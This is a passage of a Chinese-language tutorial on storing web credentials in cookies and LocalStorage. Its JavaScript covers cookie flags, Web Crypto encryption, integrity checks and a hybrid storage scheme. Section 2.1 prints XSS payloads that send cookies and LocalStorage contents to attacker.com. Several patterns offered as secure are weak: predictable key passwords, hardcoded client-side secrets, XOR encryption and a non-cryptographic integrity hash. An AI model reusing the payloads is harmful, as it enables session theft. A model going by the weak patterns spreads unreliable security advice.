手搓憑證安全存儲:安全管理Cookie與LocalStorage
本文深入探讨了Web应用中凭证安全存储的关键策略,重点分析了Cookie和LocalStorage的安全管理方法。通过分层安全策略、加密原则、完整性验证和生命周期管理等技术手段,构建全面的安全防护体系。文章提供了完整的代码实现,包括安全Cookie设置、LocalStorage加密方案、双存储验证机制等核心功能,并总结了最佳实践,如实施最小权限原则、数据匿名化处理、定期安全审计等。这些方案可帮助开
手搓憑證安全存儲:安全管理Cookie與LocalStorage
引言:憑證安全存儲的重要性
在現代Web應用開發中,憑證安全存儲是保護用戶數據和隱私的基石。隨著Web攻擊技術的不斷演進,傳統的憑證存儲方式已不足以應對複雜的安全威脅。本文將深入探討如何手動實現安全的憑證存儲機制,重點分析Cookie和LocalStorage的安全管理策略,並提供完整的實現代碼和最佳實踐。
憑證安全不僅關乎技術實現,更關係到用戶信任和企業聲譽。根據OWASP(開放Web應用安全項目)的報告,超過40%的安全漏洞與憑證管理不當有關。因此,開發者必須深入理解各種存儲機制的安全性差異,並選擇最適合的方案。
第一章:Web存儲機制概述
1.1 Cookie的工作原理
Cookie是網頁伺服器發送並存儲在用戶瀏覽器中的小型數據片段。每當用戶訪問同一伺服器時,瀏覽器會自動將相關Cookie發送回伺服器。
javascript
// 基本Cookie設置 document.cookie = "username=john_doe; path=/; max-age=3600";
Cookie的主要屬性包括:
-
Name/Value: 存儲的實際數據
-
Domain: 指定哪些域可以接收此Cookie
-
Path: 指定哪些路徑可以接收此Cookie
-
Expires/Max-Age: 設置過期時間
-
Secure: 僅通過HTTPS傳輸
-
HttpOnly: 阻止JavaScript訪問,防止XSS攻擊
-
SameSite: 控制跨站請求時是否發送Cookie
1.2 LocalStorage的工作原理
LocalStorage是HTML5引入的Web Storage API的一部分,允許在瀏覽器中存儲鍵值對數據。與Cookie不同,LocalStorage數據不會自動發送到伺服器,且存儲容量更大(通常5-10MB)。
javascript
// LocalStorage基本操作
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');
const token = localStorage.getItem('token');
localStorage.removeItem('token');
1.3 SessionStorage與LocalStorage的區別
SessionStorage的生命週期僅限於當前會話(標籤頁),而LocalStorage數據會持久保存直到明確刪除。
第二章:安全威脅分析
2.1 跨站腳本攻擊(XSS)
XSS攻擊允許攻擊者將惡意腳本注入到網頁中,從而竊取用戶憑證。這是Cookie和LocalStorage面臨的主要威脅之一。
javascript
// XSS攻擊示例:竊取Cookie
<img src="x" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)" />
// XSS攻擊示例:竊取LocalStorage
<script>
const stolenData = JSON.stringify(localStorage);
new Image().src = `https://attacker.com/steal?data=${encodeURIComponent(stolenData)}`;
</script>
2.2 跨站請求偽造(CSRF)
CSRF攻擊誘使用戶在已認證的Web應用中執行非預期的操作。攻擊者利用用戶的會話狀態發起惡意請求。
2.3 中間人攻擊(MitM)
在未使用HTTPS的情況下,攻擊者可以攔截和修改客戶端與伺服器之間的通信,竊取傳輸中的憑證。
2.4 本地存儲洩露
物理訪問設備或通過惡意軟件可以讀取本地存儲的數據,特別是未加密的敏感信息。
第三章:Cookie安全實戰
3.1 安全Cookie屬性設置
javascript
// 安全Cookie設置函數
function setSecureCookie(name, value, options = {}) {
const defaults = {
path: '/',
secure: true, // 僅HTTPS
httpOnly: false, // 僅在伺服器端可設置為true
sameSite: 'Strict',
maxAge: 3600, // 1小時
domain: window.location.hostname
};
const settings = { ...defaults, ...options };
let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;
if (settings.path) cookieString += `; path=${settings.path}`;
if (settings.maxAge) cookieString += `; max-age=${settings.maxAge}`;
if (settings.domain) cookieString += `; domain=${settings.domain}`;
if (settings.secure) cookieString += '; secure';
if (settings.sameSite) cookieString += `; samesite=${settings.sameSite}`;
document.cookie = cookieString;
// 記錄日誌(生產環境應移除或使用適當的日誌系統)
console.log(`設置安全Cookie: ${name}`);
}
// 使用示例
setSecureCookie('session_id', 'encrypted_session_data_here', {
maxAge: 86400, // 24小時
sameSite: 'Lax'
});
3.2 HttpOnly和Secure標誌的重要性
HttpOnly Cookie無法通過JavaScript訪問,能有效防止XSS攻擊竊取Cookie。Secure標誌確保Cookie僅通過HTTPS傳輸。
javascript
// 伺服器端設置HttpOnly Cookie(Node.js示例)
const express = require('express');
const app = express();
app.get('/set-secure-cookie', (req, res) => {
res.cookie('auth_token', 'encrypted_token_here', {
httpOnly: true, // JavaScript無法訪問
secure: process.env.NODE_ENV === 'production', // 生產環境強制HTTPS
sameSite: 'Strict',
maxAge: 24 * 60 * 60 * 1000, // 24小時
path: '/',
// 可選:添加簽名防止篡改
signed: true
});
res.json({ message: '安全Cookie已設置' });
});
3.3 SameSite屬性詳解
SameSite屬性控制瀏覽器是否在跨站請求中發送Cookie:
-
Strict: 完全禁止跨站攜帶Cookie
-
Lax: 允許部分安全跨站請求(如導航)
-
None: 允許所有跨站請求(必須同時設置Secure)
javascript
// 根據應用場景選擇SameSite策略
function getSameSitePolicy(isCrossSiteNeeded) {
if (isCrossSiteNeeded) {
return 'None'; // 需要與Secure一起使用
} else if (window.location.hostname === 'myapp.com') {
return 'Strict'; // 嚴格隔離
} else {
return 'Lax'; // 默認平衡方案
}
}
3.4 Cookie劫持防護
javascript
// 雙重Cookie驗證機制
class CookieProtection {
constructor() {
this.clientTokenName = 'client_validation_token';
this.serverTokenName = 'server_auth_token';
}
// 生成客戶端令牌
generateClientToken() {
const randomBytes = new Uint8Array(32);
crypto.getRandomValues(randomBytes);
const token = Array.from(randomBytes, byte => byte.toString(16).padStart(2, '0')).join('');
// 設置客戶端Cookie(非HttpOnly)
document.cookie = `${this.clientTokenName}=${token}; path=/; max-age=3600; secure; samesite=Strict`;
return token;
}
// 驗證雙重令牌
validateTokens(clientTokenFromServer, serverToken) {
// 從Cookie讀取客戶端令牌
const cookies = document.cookie.split(';');
let clientTokenFromCookie = null;
for (const cookie of cookies) {
const [name, value] = cookie.trim().split('=');
if (name === this.clientTokenName) {
clientTokenFromCookie = decodeURIComponent(value);
break;
}
}
// 比較客戶端令牌
if (clientTokenFromCookie !== clientTokenFromServer) {
console.warn('客戶端令牌不匹配,可能遭遇Cookie劫持');
return false;
}
// 驗證伺服器令牌(實際應與伺服器通信驗證)
if (!this.validateServerToken(serverToken)) {
return false;
}
return true;
}
validateServerToken(token) {
// 這裡應包含JWT驗證邏輯
// 簡化示例:檢查基本格式
return token && typeof token === 'string' && token.length > 10;
}
}
第四章:LocalStorage安全實戰
4.1 LocalStorage加密方案
javascript
// 使用Web Crypto API進行加密
class SecureLocalStorage {
constructor() {
this.algorithm = {
name: 'AES-GCM',
length: 256
};
this.keyUsages = ['encrypt', 'decrypt'];
}
// 生成加密密鑰
async generateKey() {
try {
return await crypto.subtle.generateKey(
this.algorithm,
true, // 是否可導出
this.keyUsages
);
} catch (error) {
console.error('生成密鑰失敗:', error);
throw error;
}
}
// 從密鑰材料派生密鑰
async deriveKey(password, salt) {
const encoder = new TextEncoder();
const passwordBuffer = encoder.encode(password);
// 首先使用PBKDF2派生基礎密鑰
const baseKey = await crypto.subtle.importKey(
'raw',
passwordBuffer,
'PBKDF2',
false,
['deriveKey']
);
const derivedKey = await crypto.subtle.deriveKey(
{
name: 'PBKDF2',
salt: salt,
iterations: 100000,
hash: 'SHA-256'
},
baseKey,
this.algorithm,
true,
this.keyUsages
);
return derivedKey;
}
// 加密數據
async encryptData(key, data) {
try {
const encoder = new TextEncoder();
const dataBuffer = encoder.encode(JSON.stringify(data));
// 生成隨機IV
const iv = crypto.getRandomValues(new Uint8Array(12));
const encryptedBuffer = await crypto.subtle.encrypt(
{
name: 'AES-GCM',
iv: iv
},
key,
dataBuffer
);
// 組合IV和加密數據
const result = new Uint8Array(iv.length + encryptedBuffer.byteLength);
result.set(iv, 0);
result.set(new Uint8Array(encryptedBuffer), iv.length);
return this.arrayBufferToBase64(result);
} catch (error) {
console.error('加密失敗:', error);
throw error;
}
}
// 解密數據
async decryptData(key, encryptedData) {
try {
const encryptedBuffer = this.base64ToArrayBuffer(encryptedData);
// 提取IV(前12字節)
const iv = encryptedBuffer.slice(0, 12);
const data = encryptedBuffer.slice(12);
const decryptedBuffer = await crypto.subtle.decrypt(
{
name: 'AES-GCM',
iv: iv
},
key,
data
);
const decoder = new TextDecoder();
return JSON.parse(decoder.decode(decryptedBuffer));
} catch (error) {
console.error('解密失敗:', error);
throw error;
}
}
// 存儲加密數據
async storeEncrypted(keyName, data, password) {
try {
// 生成鹽
const salt = crypto.getRandomValues(new Uint8Array(16));
// 派生密鑰
const key = await this.deriveKey(password, salt);
// 加密數據
const encryptedData = await this.encryptData(key, data);
// 存儲鹽和加密數據
const storageData = {
salt: this.arrayBufferToBase64(salt),
data: encryptedData,
timestamp: Date.now()
};
localStorage.setItem(keyName, JSON.stringify(storageData));
return true;
} catch (error) {
console.error('存儲加密數據失敗:', error);
return false;
}
}
// 讀取並解密數據
async retrieveDecrypted(keyName, password) {
try {
const stored = localStorage.getItem(keyName);
if (!stored) return null;
const { salt, data, timestamp } = JSON.parse(stored);
// 檢查數據是否過期(例如24小時)
const EXPIRY_TIME = 24 * 60 * 60 * 1000;
if (Date.now() - timestamp > EXPIRY_TIME) {
localStorage.removeItem(keyName);
return null;
}
const saltBuffer = this.base64ToArrayBuffer(salt);
const key = await this.deriveKey(password, saltBuffer);
return await this.decryptData(key, data);
} catch (error) {
console.error('讀取解密數據失敗:', error);
// 解密失敗可能由於密碼錯誤,移除可能損壞的數據
localStorage.removeItem(keyName);
return null;
}
}
// 工具函數:ArrayBuffer轉Base64
arrayBufferToBase64(buffer) {
const bytes = new Uint8Array(buffer);
let binary = '';
for (let i = 0; i < bytes.byteLength; i++) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
// 工具函數:Base64轉ArrayBuffer
base64ToArrayBuffer(base64) {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes.buffer;
}
}
// 使用示例
const secureStorage = new SecureLocalStorage();
// 存儲敏感數據
async function storeUserCredentials(userId, token) {
const userData = {
userId: userId,
token: token,
lastAccess: new Date().toISOString()
};
// 使用用戶特定的密碼(可結合伺服器提供的臨時密碼)
const password = `${userId}_${window.location.hostname}_secret_salt`;
await secureStorage.storeEncrypted('user_credentials', userData, password);
}
// 讀取數據
async function getUserCredentials(userId) {
const password = `${userId}_${window.location.hostname}_secret_salt`;
return await secureStorage.retrieveDecrypted('user_credentials', password);
}
4.2 防範XSS攻擊的LocalStorage包裝器
javascript
// 安全LocalStorage包裝器
class ProtectedLocalStorage {
constructor() {
this.prefix = 'secured_';
this.integrityKey = 'data_integrity_hash';
this.xssDetectionEnabled = true;
this.initializeProtection();
}
// 初始化保護機制
initializeProtection() {
// 監聽可能的XSS攻擊
if (this.xssDetectionEnabled) {
this.setupXSSTrap();
}
// 設置定時清理
this.setupCleanupInterval();
}
// 設置XSS陷阱
setupXSSTrap() {
// 創建不可見的防禦元素
const trapElement = document.createElement('div');
trapElement.id = 'xss_trap_' + Math.random().toString(36).substr(2, 9);
trapElement.style.display = 'none';
trapElement.setAttribute('data-protected', 'true');
// 設置屬性getter陷阱
Object.defineProperty(trapElement, 'innerHTML', {
set: function(value) {
console.warn('潛在的XSS攻擊嘗試:', value);
// 可以發送警報到伺服器
this.reportPotentialXSS(value);
return '';
}.bind(this)
});
document.body.appendChild(trapElement);
// 重寫dangerouslySetInnerHTML等方法
this.overrideDangerousMethods();
}
// 報告潛在XSS攻擊
reportPotentialXSS(suspiciousData) {
const report = {
type: 'xss_attempt',
data: suspiciousData.substring(0, 100), // 限制數據長度
url: window.location.href,
timestamp: new Date().toISOString(),
userAgent: navigator.userAgent
};
// 存儲報告(限制數量)
const reports = this.getXSSReports();
reports.push(report);
// 只保留最近的50個報告
if (reports.length > 50) {
reports.shift();
}
localStorage.setItem('xss_security_reports', JSON.stringify(reports));
// 可選:發送到伺服器
if (navigator.sendBeacon) {
navigator.sendBeacon('/api/security/xss-report', JSON.stringify(report));
}
}
getXSSReports() {
const reports = localStorage.getItem('xss_security_reports');
return reports ? JSON.parse(reports) : [];
}
// 重寫危險方法
overrideDangerousMethods() {
const originalSetAttribute = Element.prototype.setAttribute;
Element.prototype.setAttribute = function(name, value) {
// 檢查危險屬性
const dangerousAttributes = ['onload', 'onerror', 'onclick', 'onmouseover', 'src', 'href'];
if (dangerousAttributes.includes(name.toLowerCase())) {
// 驗證值是否包含腳本
if (typeof value === 'string' &&
(value.includes('javascript:') ||
value.includes('<script>') ||
value.includes('eval('))) {
console.warn('阻止潛在的危險屬性設置:', name, value);
return; // 阻止設置
}
}
return originalSetAttribute.call(this, name, value);
};
}
// 安全存儲數據
setItem(key, value, options = {}) {
const fullKey = this.prefix + key;
const data = {
value: value,
timestamp: Date.now(),
integrity: this.calculateIntegrity(value),
metadata: {
origin: window.location.origin,
path: window.location.pathname,
...options.metadata
}
};
// 加密敏感數據
if (options.encrypt) {
data.value = this.encryptValue(value, options.encryptionKey);
data.encrypted = true;
}
const serializedData = JSON.stringify(data);
// 驗證數據大小
if (serializedData.length > 500000) { // 約500KB
console.error('存儲數據過大:', key);
throw new Error('Data too large for secure storage');
}
localStorage.setItem(fullKey, serializedData);
// 更新完整性哈希
this.updateMasterIntegrity(fullKey, data.integrity);
return true;
}
// 安全讀取數據
getItem(key, options = {}) {
const fullKey = this.prefix + key;
const stored = localStorage.getItem(fullKey);
if (!stored) return null;
let data;
try {
data = JSON.parse(stored);
} catch (e) {
console.error('解析存儲數據失敗:', e);
this.removeItem(key); // 移除損壞的數據
return null;
}
// 檢查完整性
if (!this.verifyIntegrity(data.value, data.integrity)) {
console.warn('數據完整性檢查失敗:', key);
if (options.removeIfTampered) {
this.removeItem(key);
}
return null;
}
// 檢查過期時間
if (data.timestamp && options.maxAge) {
const age = Date.now() - data.timestamp;
if (age > options.maxAge) {
this.removeItem(key);
return null;
}
}
// 解密數據
if (data.encrypted && options.encryptionKey) {
try {
data.value = this.decryptValue(data.value, options.encryptionKey);
} catch (e) {
console.error('解密失敗:', e);
return null;
}
}
return data.value;
}
// 移除數據
removeItem(key) {
const fullKey = this.prefix + key;
localStorage.removeItem(fullKey);
// 清理完整性記錄
this.removeFromMasterIntegrity(fullKey);
return true;
}
// 計算數據完整性哈希
calculateIntegrity(value) {
const stringValue = typeof value === 'string' ? value : JSON.stringify(value);
let hash = 0;
for (let i = 0; i < stringValue.length; i++) {
const char = stringValue.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash; // 轉換為32位整數
}
return hash.toString(16);
}
// 驗證完整性
verifyIntegrity(value, expectedHash) {
const calculatedHash = this.calculateIntegrity(value);
return calculatedHash === expectedHash;
}
// 更新主完整性記錄
updateMasterIntegrity(key, integrity) {
const master = this.getMasterIntegrity();
master[key] = {
hash: integrity,
timestamp: Date.now()
};
localStorage.setItem(this.integrityKey, JSON.stringify(master));
}
// 從主完整性記錄移除
removeFromMasterIntegrity(key) {
const master = this.getMasterIntegrity();
delete master[key];
localStorage.setItem(this.integrityKey, JSON.stringify(master));
}
// 獲取主完整性記錄
getMasterIntegrity() {
const stored = localStorage.getItem(this.integrityKey);
return stored ? JSON.parse(stored) : {};
}
// 簡單加密(生產環境應使用更強加密)
encryptValue(value, key) {
// 簡化示例 - 生產環境應使用Web Crypto API
let result = '';
const stringValue = JSON.stringify(value);
for (let i = 0; i < stringValue.length; i++) {
const charCode = stringValue.charCodeAt(i) ^ key.charCodeAt(i % key.length);
result += String.fromCharCode(charCode);
}
return btoa(result);
}
// 解密
decryptValue(encryptedValue, key) {
try {
const decoded = atob(encryptedValue);
let result = '';
for (let i = 0; i < decoded.length; i++) {
const charCode = decoded.charCodeAt(i) ^ key.charCodeAt(i % key.length);
result += String.fromCharCode(charCode);
}
return JSON.parse(result);
} catch (e) {
throw new Error('解密失敗');
}
}
// 設置定時清理
setupCleanupInterval() {
// 每小時檢查一次過期數據
setInterval(() => {
this.cleanupExpiredData();
}, 60 * 60 * 1000);
}
// 清理過期數據
cleanupExpiredData() {
const keys = Object.keys(localStorage);
const now = Date.now();
keys.forEach(key => {
if (key.startsWith(this.prefix)) {
try {
const data = JSON.parse(localStorage.getItem(key));
// 默認7天過期
const MAX_AGE = 7 * 24 * 60 * 60 * 1000;
if (now - data.timestamp > MAX_AGE) {
localStorage.removeItem(key);
console.log('清理過期數據:', key);
}
} catch (e) {
// 解析失敗,移除可能損壞的數據
localStorage.removeItem(key);
}
}
});
}
// 清空所有保護的數據
clear() {
const keys = Object.keys(localStorage);
keys.forEach(key => {
if (key.startsWith(this.prefix) || key === this.integrityKey) {
localStorage.removeItem(key);
}
});
return true;
}
}
// 使用示例
const protectedStorage = new ProtectedLocalStorage();
// 安全存儲
protectedStorage.setItem('auth_token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', {
encrypt: true,
encryptionKey: 'user_specific_secret_key',
metadata: {
userId: '12345',
type: 'jwt'
}
});
// 安全讀取
const token = protectedStorage.getItem('auth_token', {
encrypt: true,
encryptionKey: 'user_specific_secret_key',
maxAge: 24 * 60 * 60 * 1000, // 24小時有效
removeIfTampered: true
});
4.3 LocalStorage數據分區策略
javascript
// 基於上下文的數據分區
class PartitionedLocalStorage {
constructor() {
this.partitions = {
PUBLIC: 'public_',
PRIVATE: 'private_',
SESSION: 'session_',
PERSISTENT: 'persistent_'
};
this.contexts = {
USER: 'user',
APP: 'app',
SYSTEM: 'system'
};
this.initializePartitions();
}
// 初始化分區
initializePartitions() {
// 為每個分區和上下文創建命名空間
for (const partition in this.partitions) {
for (const context in this.contexts) {
const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
// 初始化分區元數據
const metaKey = `${namespace}meta`;
if (!localStorage.getItem(metaKey)) {
const metadata = {
created: Date.now(),
lastAccessed: Date.now(),
itemCount: 0,
totalSize: 0,
permissions: this.getDefaultPermissions(partition, context)
};
localStorage.setItem(metaKey, JSON.stringify(metadata));
}
}
}
}
// 獲取默認權限
getDefaultPermissions(partition, context) {
const permissions = {
readable: true,
writable: true,
deletable: true,
encryptRequired: false,
maxSize: 1024 * 1024, // 1MB
maxAge: null
};
// 根據分區和上下文調整權限
switch (partition) {
case 'PRIVATE':
permissions.encryptRequired = true;
permissions.maxSize = 100 * 1024; // 100KB
break;
case 'SESSION':
permissions.maxAge = 24 * 60 * 60 * 1000; // 24小時
break;
}
switch (context) {
case 'SYSTEM':
permissions.readable = false; // 系統數據不可直接讀取
break;
}
return permissions;
}
// 存儲數據到特定分區
store(partition, context, key, value, options = {}) {
const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
const fullKey = `${namespace}${key}`;
// 獲取分區元數據
const metaKey = `${namespace}meta`;
const metadata = JSON.parse(localStorage.getItem(metaKey));
// 檢查權限
if (!metadata.permissions.writable) {
throw new Error(`分區 ${partition}/${context} 不可寫入`);
}
// 檢查加密要求
if (metadata.permissions.encryptRequired && !options.encrypted) {
throw new Error(`分區 ${partition}/${context} 要求數據加密`);
}
// 準備存儲數據
const storageItem = {
value: value,
metadata: {
stored: Date.now(),
partition: partition,
context: context,
key: key,
size: JSON.stringify(value).length,
...options.metadata
}
};
// 檢查大小限制
const newSize = metadata.totalSize + storageItem.metadata.size;
if (newSize > metadata.permissions.maxSize) {
throw new Error(`分區 ${partition}/${context} 大小超出限制`);
}
// 更新元數據
metadata.lastAccessed = Date.now();
metadata.totalSize = newSize;
// 檢查是否為更新操作
const existing = localStorage.getItem(fullKey);
if (existing) {
const existingSize = JSON.parse(existing).metadata.size;
metadata.totalSize -= existingSize;
} else {
metadata.itemCount++;
}
// 存儲數據
localStorage.setItem(fullKey, JSON.stringify(storageItem));
localStorage.setItem(metaKey, JSON.stringify(metadata));
return {
success: true,
key: fullKey,
size: storageItem.metadata.size
};
}
// 從特定分區讀取數據
retrieve(partition, context, key, options = {}) {
const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
const fullKey = `${namespace}${key}`;
// 獲取分區元數據
const metaKey = `${namespace}meta`;
const metadata = JSON.parse(localStorage.getItem(metaKey));
// 檢查權限
if (!metadata.permissions.readable) {
throw new Error(`分區 ${partition}/${context} 不可讀取`);
}
const stored = localStorage.getItem(fullKey);
if (!stored) return null;
const data = JSON.parse(stored);
// 檢查過期時間
if (metadata.permissions.maxAge) {
const age = Date.now() - data.metadata.stored;
if (age > metadata.permissions.maxAge) {
this.remove(partition, context, key);
return null;
}
}
// 更新訪問時間
metadata.lastAccessed = Date.now();
localStorage.setItem(metaKey, JSON.stringify(metadata));
return data.value;
}
// 從分區移除數據
remove(partition, context, key) {
const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
const fullKey = `${namespace}${key}`;
// 獲取分區元數據
const metaKey = `${namespace}meta`;
const metadata = JSON.parse(localStorage.getItem(metaKey));
// 檢查權限
if (!metadata.permissions.deletable) {
throw new Error(`分區 ${partition}/${context} 不可刪除`);
}
const stored = localStorage.getItem(fullKey);
if (stored) {
const data = JSON.parse(stored);
// 更新元數據
metadata.totalSize -= data.metadata.size;
metadata.itemCount--;
metadata.lastAccessed = Date.now();
localStorage.setItem(metaKey, JSON.stringify(metadata));
}
localStorage.removeItem(fullKey);
return true;
}
// 獲取分區統計信息
getPartitionStats(partition, context) {
const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
const metaKey = `${namespace}meta`;
const metadata = JSON.parse(localStorage.getItem(metaKey));
return {
partition: partition,
context: context,
itemCount: metadata.itemCount,
totalSize: metadata.totalSize,
created: new Date(metadata.created),
lastAccessed: new Date(metadata.lastAccessed),
permissions: metadata.permissions
};
}
// 清理過期數據
cleanup() {
let cleanedCount = 0;
for (const partition in this.partitions) {
for (const context in this.contexts) {
const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
const metaKey = `${namespace}meta`;
const metadata = JSON.parse(localStorage.getItem(metaKey));
if (metadata.permissions.maxAge) {
const keys = this.getPartitionKeys(partition, context);
keys.forEach(fullKey => {
const stored = localStorage.getItem(fullKey);
if (stored) {
const data = JSON.parse(stored);
const age = Date.now() - data.metadata.stored;
if (age > metadata.permissions.maxAge) {
localStorage.removeItem(fullKey);
cleanedCount++;
// 更新元數據
metadata.totalSize -= data.metadata.size;
metadata.itemCount--;
}
}
});
localStorage.setItem(metaKey, JSON.stringify(metadata));
}
}
}
return cleanedCount;
}
// 獲取分區所有鍵
getPartitionKeys(partition, context) {
const namespace = `${this.partitions[partition]}${this.contexts[context]}_`;
const keys = [];
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (key.startsWith(namespace) && !key.endsWith('meta')) {
keys.push(key);
}
}
return keys;
}
}
// 使用示例
const partitionedStorage = new PartitionedLocalStorage();
// 存儲公開應用數據
partitionedStorage.store('PUBLIC', 'APP', 'config', {
theme: 'dark',
language: 'zh-TW',
version: '1.0.0'
});
// 存儲私有用戶數據(需要加密)
partitionedStorage.store('PRIVATE', 'USER', 'preferences', {
email: 'user@example.com',
settings: { /* ... */ }
}, {
encrypted: true,
metadata: {
sensitive: true
}
});
// 讀取會話數據
const sessionData = partitionedStorage.retrieve('SESSION', 'USER', 'temp_data');
// 獲取統計信息
const stats = partitionedStorage.getPartitionStats('PRIVATE', 'USER');
console.log('私有用戶分區統計:', stats);
第五章:混合存儲策略
5.1 雙重存儲驗證機制
javascript
// 結合Cookie和LocalStorage的雙重驗證
class HybridCredentialStorage {
constructor(options = {}) {
this.options = {
cookieName: 'secure_auth',
localStorageKey: 'auth_backup',
cookieLifespan: 24 * 60 * 60, // 24小時
localStorageLifespan: 7 * 24 * 60 * 60 * 1000, // 7天
requireConsistency: true,
...options
};
this.validator = new CredentialValidator();
}
// 存儲憑證
async storeCredentials(credentials) {
const { token, userData, metadata } = credentials;
// 生成驗證哈希
const validationHash = await this.validator.generateValidationHash(token, userData);
// 準備存儲數據
const cookieData = {
t: token, // 令牌
v: validationHash, // 驗證哈希
ts: Date.now(), // 時間戳
// 不存儲敏感數據在Cookie中
};
const localStorageData = {
token: token,
userData: userData,
validationHash: validationHash,
metadata: metadata,
storedAt: new Date().toISOString(),
cookieSignature: await this.validator.signData(cookieData)
};
// 存儲到Cookie
this.setSecureCookie(this.options.cookieName, cookieData);
// 存儲到LocalStorage
this.setSecureLocalStorage(this.options.localStorageKey, localStorageData);
return {
cookieStored: true,
localStorageStored: true,
validationHash: validationHash
};
}
// 讀取並驗證憑證
async retrieveCredentials() {
// 從Cookie讀取
const cookieData = this.getSecureCookie(this.options.cookieName);
// 從LocalStorage讀取
const localStorageData = this.getSecureLocalStorage(this.options.localStorageKey);
// 檢查兩者是否存在
if (!cookieData && !localStorageData) {
return { valid: false, reason: 'no_credentials' };
}
// 如果只有一種存儲方式存在
if (!cookieData || !localStorageData) {
if (this.options.requireConsistency) {
this.clearCredentials();
return { valid: false, reason: 'inconsistent_storage' };
}
}
// 驗證數據
const validationResult = await this.validateCredentials(cookieData, localStorageData);
if (!validationResult.valid) {
this.clearCredentials();
return validationResult;
}
// 刷新存儲(如果接近過期)
if (this.shouldRefresh(cookieData)) {
await this.refreshCredentials(localStorageData);
}
return {
valid: true,
token: localStorageData.token,
userData: localStorageData.userData,
metadata: localStorageData.metadata,
source: cookieData ? 'both' : (localStorageData ? 'localStorage_only' : 'cookie_only')
};
}
// 驗證憑證
async validateCredentials(cookieData, localStorageData) {
// 基本存在性檢查
if (!cookieData && !localStorageData) {
return { valid: false, reason: 'no_data' };
}
// 如果兩者都存在,驗證一致性
if (cookieData && localStorageData) {
// 驗證令牌一致性
if (cookieData.t !== localStorageData.token) {
return { valid: false, reason: 'token_mismatch' };
}
// 驗證哈希一致性
if (cookieData.v !== localStorageData.validationHash) {
return { valid: false, reason: 'validation_hash_mismatch' };
}
// 驗證Cookie簽名
const validSignature = await this.validator.verifySignature(
cookieData,
localStorageData.cookieSignature
);
if (!validSignature) {
return { valid: false, reason: 'invalid_signature' };
}
// 驗證時間戳(防止重放攻擊)
const timeDiff = Math.abs(Date.now() - cookieData.ts);
const MAX_TIME_DIFF = 5 * 60 * 1000; // 5分鐘
if (timeDiff > MAX_TIME_DIFF) {
return { valid: false, reason: 'timestamp_out_of_sync' };
}
}
// 驗證令牌有效性
const tokenValid = await this.validator.validateToken(
localStorageData ? localStorageData.token : cookieData.t
);
if (!tokenValid) {
return { valid: false, reason: 'invalid_token' };
}
return { valid: true };
}
// 設置安全Cookie
setSecureCookie(name, data) {
const encodedData = btoa(JSON.stringify(data));
const cookieString = [
`${name}=${encodeURIComponent(encodedData)}`,
`path=/`,
`max-age=${this.options.cookieLifespan}`,
`secure`,
`samesite=strict`,
// 注意:HttpOnly不能在客戶端設置,需要伺服器設置
].join('; ');
document.cookie = cookieString;
}
// 獲取安全Cookie
getSecureCookie(name) {
const cookies = document.cookie.split(';');
for (const cookie of cookies) {
const [cookieName, cookieValue] = cookie.trim().split('=');
if (cookieName === name && cookieValue) {
try {
const decodedValue = decodeURIComponent(cookieValue);
return JSON.parse(atob(decodedValue));
} catch (e) {
console.error('解析Cookie失敗:', e);
return null;
}
}
}
return null;
}
// 設置安全LocalStorage
setSecureLocalStorage(key, data) {
const storageData = {
data: data,
storedAt: Date.now(),
expiresAt: Date.now() + this.options.localStorageLifespan
};
localStorage.setItem(key, JSON.stringify(storageData));
}
// 獲取安全LocalStorage
getSecureLocalStorage(key) {
const stored = localStorage.getItem(key);
if (!stored) return null;
try {
const storageData = JSON.parse(stored);
// 檢查是否過期
if (storageData.expiresAt && Date.now() > storageData.expiresAt) {
localStorage.removeItem(key);
return null;
}
return storageData.data;
} catch (e) {
console.error('解析LocalStorage失敗:', e);
localStorage.removeItem(key);
return null;
}
}
// 檢查是否需要刷新
shouldRefresh(cookieData) {
if (!cookieData || !cookieData.ts) return false;
const age = Date.now() - cookieData.ts;
const refreshThreshold = this.options.cookieLifespan * 1000 * 0.8; // 80%的生命週期
return age > refreshThreshold;
}
// 刷新憑證
async refreshCredentials(existingData) {
// 這裡應該調用API獲取新的令牌
console.log('刷新憑證...');
// 模擬API調用
const newToken = await this.fetchNewToken(existingData.token);
if (newToken) {
await this.storeCredentials({
token: newToken,
userData: existingData.userData,
metadata: existingData.metadata
});
return true;
}
return false;
}
// 模擬獲取新令牌
async fetchNewToken(oldToken) {
// 實際實現中應該調用刷新令牌的API
return new Promise(resolve => {
setTimeout(() => {
// 這裡應該返回新的令牌
resolve(`new_token_${Date.now()}`);
}, 100);
});
}
// 清除憑證
clearCredentials() {
// 清除Cookie
document.cookie = `${this.options.cookieName}=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT`;
// 清除LocalStorage
localStorage.removeItem(this.options.localStorageKey);
return true;
}
}
// 憑證驗證器
class CredentialValidator {
constructor() {
this.validationSecret = 'application_specific_secret';
}
// 生成驗證哈希
async generateValidationHash(token, userData) {
const dataString = `${token}:${JSON.stringify(userData)}:${this.validationSecret}`;
// 使用SHA-256
const encoder = new TextEncoder();
const data = encoder.encode(dataString);
const hashBuffer = await crypto.subtle.digest('SHA-256', data);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
return hashHex.substring(0, 32); // 返回前32個字符
}
// 簽名數據
async signData(data) {
const dataString = JSON.stringify(data);
const encoder = new TextEncoder();
const dataBuffer = encoder.encode(dataString);
const key = await this.getSigningKey();
const signature = await crypto.subtle.sign(
'HMAC',
key,
dataBuffer
);
return this.arrayBufferToBase64(signature);
}
// 驗證簽名
async verifySignature(data, signature) {
try {
const dataString = JSON.stringify(data);
const encoder = new TextEncoder();
